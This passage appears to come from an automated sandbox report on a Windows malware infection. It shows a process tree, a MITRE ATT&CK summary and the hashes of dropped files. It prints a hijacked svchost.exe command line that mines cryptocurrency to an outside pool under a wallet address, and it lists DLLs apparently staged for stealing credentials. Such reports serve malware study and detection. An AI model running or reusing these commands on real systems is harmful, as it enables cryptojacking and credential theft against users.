                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 35400 -s 2808
                                                                                      3⤵
                                                                                      • Program crash
                                                                                      PID:103236
                                                                                  • C:\Users\Admin\AppData\Local\Temp\D0C5.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\D0C5.exe
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    • Checks computer location settings
                                                                                    PID:46572
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
                                                                                      3⤵
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:102584
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 46572 -s 1432
                                                                                      3⤵
                                                                                      • Program crash
                                                                                      • Checks processor information in registry
                                                                                      • Enumerates system info in registry
                                                                                      PID:3960
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 412
                                                                                        4⤵
                                                                                        • Program crash
                                                                                        PID:5024
                                                                                  • C:\Users\Admin\AppData\Local\Temp\E7AA.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\E7AA.exe
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:80796
                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                    2⤵
                                                                                      PID:87748
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 87748 -s 792
                                                                                        3⤵
                                                                                        • Program crash
                                                                                        PID:2324
                                                                                    • C:\Windows\explorer.exe
                                                                                      C:\Windows\explorer.exe
                                                                                      2⤵
                                                                                        PID:98700
                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                        2⤵
                                                                                          PID:102596
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 102596 -s 792
                                                                                            3⤵
                                                                                            • Program crash
                                                                                            PID:2380
                                                                                        • C:\Windows\explorer.exe
                                                                                          C:\Windows\explorer.exe
                                                                                          2⤵
                                                                                            PID:102732
                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                            2⤵
                                                                                              PID:102804
                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                              2⤵
                                                                                                PID:102852
                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                2⤵
                                                                                                  PID:102880
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 102880 -s 784
                                                                                                    3⤵
                                                                                                    • Program crash
                                                                                                    PID:3472
                                                                                                • C:\Windows\explorer.exe
                                                                                                  C:\Windows\explorer.exe
                                                                                                  2⤵
                                                                                                    PID:102980
                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                    2⤵
                                                                                                      PID:103052
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                                    1⤵
                                                                                                      PID:2784
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                      1⤵
                                                                                                        PID:2776
                                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                        1⤵
                                                                                                          PID:2684
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                                          1⤵
                                                                                                            PID:2676
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                            1⤵
                                                                                                              PID:2524
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                              1⤵
                                                                                                                PID:2360
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                                                1⤵
                                                                                                                  PID:2120
                                                                                                                • C:\Windows\System32\spoolsv.exe
                                                                                                                  C:\Windows\System32\spoolsv.exe
                                                                                                                  1⤵
                                                                                                                    PID:372
                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                                                    1⤵
                                                                                                                      PID:2008
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                                                      1⤵
                                                                                                                        PID:1944
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                                                        1⤵
                                                                                                                          PID:1920
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                                                                          1⤵
                                                                                                                            PID:1912
                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                                                            1⤵
                                                                                                                              PID:1792
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
                                                                                                                              1⤵
                                                                                                                                PID:1688
                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                                                                                1⤵
                                                                                                                                  PID:1664
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                                                                                                  1⤵
                                                                                                                                    PID:1652
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                                                                                    1⤵
                                                                                                                                      PID:1604
                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                                                                                      1⤵
                                                                                                                                        PID:1460
                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                                                                                                        1⤵
                                                                                                                                          PID:1448
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                                                                                                                          1⤵
                                                                                                                                            PID:1324
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                                                                            1⤵
                                                                                                                                              PID:1292
                                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                                                                                                              1⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              PID:1248
                                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                                                              1⤵
                                                                                                                                              • Drops file in System32 directory
                                                                                                                                              • Checks processor information in registry
                                                                                                                                              • Enumerates system info in registry
                                                                                                                                              PID:2884
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                              1⤵
                                                                                                                                                PID:3172
                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                1⤵
                                                                                                                                                  PID:964
                                                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3984
                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                    C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                    PID:432
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 7784 -ip 7784
                                                                                                                                                      2⤵
                                                                                                                                                        PID:65472
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 65924 -ip 65924
                                                                                                                                                        2⤵
                                                                                                                                                          PID:87760
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 35400 -ip 35400
                                                                                                                                                          2⤵
                                                                                                                                                            PID:103192
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4104 -ip 4104
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1484
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 46572 -ip 46572
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1836
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 102596 -ip 102596
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4076
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 102804 -ip 102804
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                  PID:3696
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 102880 -ip 102880
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                  PID:868
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 103052 -ip 103052
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4400
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1960 -ip 1960
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:388
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3960 -ip 3960
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:688
                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 102584 -ip 102584
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4280
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 102852 -ip 102852
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                          PID:3812
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 87748 -ip 87748
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1888
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2380 -ip 2380
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:4672
                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3176 -ip 3176
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4220
                                                                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                C:\Windows\system32\WerFault.exe -pss -s 640 -p 3464 -ip 3464
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:6064
                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 520 -p 3352 -ip 3352
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                  PID:6052
                                                                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4660
                                                                                                                                                                                • C:\Windows\SysWOW64\bddbakit\qhxcgqfe.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\bddbakit\qhxcgqfe.exe /d"C:\Users\Admin\AppData\Local\Temp\C51A.exe"
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                  PID:65924
                                                                                                                                                                                  • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                    svchost.exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Sets service image path in registry
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    PID:84408
                                                                                                                                                                                    • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                      svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:103416
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 65924 -s 536
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Program crash
                                                                                                                                                                                      PID:91516
                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:99508

                                                                                                                                                                                    Network

                                                                                                                                                                                    MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                    Execution

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Persistence

                                                                                                                                                                                    New Service

                                                                                                                                                                                    1
                                                                                                                                                                                    T1050

                                                                                                                                                                                    Modify Existing Service

                                                                                                                                                                                    1
                                                                                                                                                                                    T1031

                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                    2
                                                                                                                                                                                    T1060

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                    New Service

                                                                                                                                                                                    1
                                                                                                                                                                                    T1050

                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                    1
                                                                                                                                                                                    T1053

                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                    2
                                                                                                                                                                                    T1112

                                                                                                                                                                                    File Permissions Modification

                                                                                                                                                                                    1
                                                                                                                                                                                    T1222

                                                                                                                                                                                    Credential Access

                                                                                                                                                                                    Credentials in Files

                                                                                                                                                                                    3
                                                                                                                                                                                    T1081

                                                                                                                                                                                    Discovery

                                                                                                                                                                                    Query Registry

                                                                                                                                                                                    5
                                                                                                                                                                                    T1012

                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                    5
                                                                                                                                                                                    T1082

                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                    1
                                                                                                                                                                                    T1120

                                                                                                                                                                                    Collection

                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                    3
                                                                                                                                                                                    T1005

                                                                                                                                                                                    Email Collection

                                                                                                                                                                                    1
                                                                                                                                                                                    T1114

                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                    Downloads

                                                                                                                                                                                    • C:\ProgramData\Microsoft\Windows\WER\Temp\WERB336.tmp.csv
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      39KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      7e2c3ea4bfa449368428bf84269c318d

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      6abf9e6e9e4b77faefd291697f6c15ce7936ff11

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      e5439f9481a30e24fc66384c884f189eacb1886b3128cc3e0c7caba38c0e43b7

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      215dc6e465b86866b3780dc754e10a32ac2067915f13f4e6d1fb3bda456874cc12afd25d2fb9575a9eae680eaf27a2f8aefd54aaf87c957f5655424de8b3cb0b

                                                                                                                                                                                    • C:\ProgramData\Microsoft\Windows\WER\Temp\WERB385.tmp.txt
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      13KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      08f5df124db57bad71cda9887dde239a

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      22086998cd37bd28074405ddc6d88daf0d7a9ad7

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      39d0523dece11495a797e1fe4b935859a21f863fa047ce03fc0222713b352f12

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      e71bd038f83ebed5953552e8285d9e34b682e26e5f21dbb8495a6ad3efc17236906d602e82737a5ceb2d427dad324f8e79a7545639dca4ce9b3d16217385889a

                                                                                                                                                                                    • C:\ProgramData\Microsoft\Windows\WER\Temp\WERB403.tmp.csv
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      39KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      bc4780caefa392945a1de2bb1ccf30ee

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      a3ddfc6f204513412807b85b642cd3bb2701fb71

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      3f0c65aa5343e3470b9a17cbf341df6734f5d3d3ac79a8ae96544c7c5f56fff8

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      2e7bbe6ca68c9b7e1af17183a0a1ec812cdab223e549ab70e99e88f0b2bd0e502614e0beb9d0a22951bb250f70ebf4055fea2c507d19150c23568dc86a42fac1

                                                                                                                                                                                    • C:\ProgramData\Microsoft\Windows\WER\Temp\WERB4C0.tmp.txt
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      13KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      69509c323e88b3817dc5f2a8ab08f3ed

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      963cddc4fdeab9c1d5d3114d0eab52296af1e570

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      82b06f10f72a1aedb5e3f546170baa1c95fbbf7b00d479c8cd2a787f8b6f12f9

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      02ca06585578e0a2aaea3f053b264c3e7c5af3d76bf4b081ca63686f12795646aff4fe6fa0f20dd808726fc62c08573f725a426172e0a018cb75a8ddf0b2733e

                                                                                                                                                                                    • C:\ProgramData\mozglue.dll
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      593KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                    • C:\ProgramData\nss3.dll
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      2.0MB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      2KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      32958182234a80a5b2589418864f6117

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      598276140fd27d8931dbe02625e3378ad9085b8d

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      a6f4c0928ecef1052acb557bf148d4d06206afaa0d334d30ef676d8b4b89fdb2

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      04157e1f291fb8e11e8134fa321d6473ff7ed55c7848170ac9c6db4dd9e42d8303c40746ce56f4112f26c5ea730703ad00fa52fdf57377c81221473210e49dfa

                                                                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      0d870ca424457579d4bd345ac1ec6c3c

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      fc3d8924e13b4fc5eca7cabd4967eea3d4db1690

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      cf9df8d62ec78ca20a50633047af6c913dc2d10f15823795e8d86042c7b05ed0

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      a1e731ae03b1a2259f8e1afc86058aabb3b8ce3b0141f08ea18b6c7003c55aeb135d40bba38ebf1f76174eb1ad758fbec10841dee1ed704fb0285e36b2f7d66b

                                                                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      488B

                                                                                                                                                                                      MD5

                                                                                                                                                                                      0fd25fd58696830f376d23e9a40689f2

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      c35dcc067384042b9eccd69fc89f766603bb3d4f

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      e3c922615b7bd67440e3a6af93e6e772c88e9755845c42ccabb923b9b233da01

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      6a0d0b5334bfb17196da2f446b3f0185ac773dc3c01cb3fe04ac11011e77986252456580a2f9b90b3a945c489543fb08fee4d32d81bd7e498e14f607ef1df671

                                                                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      482B

                                                                                                                                                                                      MD5

                                                                                                                                                                                      03ccef792aca455bc9d662c0160b9d3c

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      0818113fc3d45277ccb57c0cd14faf6b01f0062b

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      bee6153511d6fc583e5c86922f458ea52d50720b2c2fc50175139a30acaec4c7

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      51a8e52c6b12f82c03e7168d4abfc8a619a12848ec651fc62d5dbb8a000f84e20dc485a56eac0db2324ef5dfe68d34ce9d2b6fb175fc991b8e49ffcb79ce2621

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\7154813d-7315-4500-80aa-8aa353e20a9e\4A5A.exe
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      801KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      32db669d0bcf9714b344df2c5eb1c0db

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      109a87ae86cb9d890d8a40f0a6c3500168fafc0c

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      981da46c6d2b7743d2234e5f5e03071870466d776ef7461e6983072967bcd2eb

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      85b01e3039f704638226358cde2f07ba02f1b2f5b6483d70d321f6800829af966ce947ea08af93ddc6c4078fab3b5d602cdba8ddcbdce536bbb3c4eb4c24157b

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      4280e36a29fa31c01e4d8b2ba726a0d8

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      53KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      06ad34f9739c5159b4d92d702545bd49

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      9152a0d4f153f3f40f7e606be75f81b582ee0c17

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      16KB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      dd9a1830b6fa6c38c9d31f0202dac8ad

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      84f87b0357833d4ff9831397cfac3b82995f4ef9

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      a8ff98b4b4ea13b20d471f3d374ae7dccfc432b34635ac3a5a17b39c628f3e75

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      bc60f620f9e69e00072e42f7fcc86ba44cd23229aed534270844cf2900518f14a02a9a80096ecdbad743383d95f7c72ab0a08c0a9903ddc903f0a14dfbdd17c9

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42B6.dll
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.4MB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      3ee96204441d27dcc2de050ede40c2a3

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      3b2d387ca9663b7b1abf4531f85545c9df0cb076

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      4061b94fcb0ddf184beead8d29d4d5b135e4d813b3b6ba237b1ddcc5e62c8cda

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      133688d048d6dc96e8df8d792e46c247da24879fb07467fcd5a35b9631083816fc90aa9a4d74a5e63d1d85901e75973d827e41a32b9eb34596a2532a27384e39

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42B6.dll
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.4MB

                                                                                                                                                                                      MD5

                                                                                                                                                                                      3ee96204441d27dcc2de050ede40c2a3

                                                                                                                                                                                      SHA1

                                                                                                                                                                                      3b2d387ca9663b7b1abf4531f85545c9df0cb076

                                                                                                                                                                                      SHA256

                                                                                                                                                                                      4061b94fcb0ddf184beead8d29d4d5b135e4d813b3b6ba237b1ddcc5e62c8cda

                                                                                                                                                                                      SHA512

                                                                                                                                                                                      133688d048d6dc96e8df8d792e46c247da24879fb07467fcd5a35b9631083816fc90aa9a4d74a5e63d1d85901e75973d827e41a32b9eb34596a2532a27384e39

                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\43FF.exe
                                                                                                                                                                                      Filesize

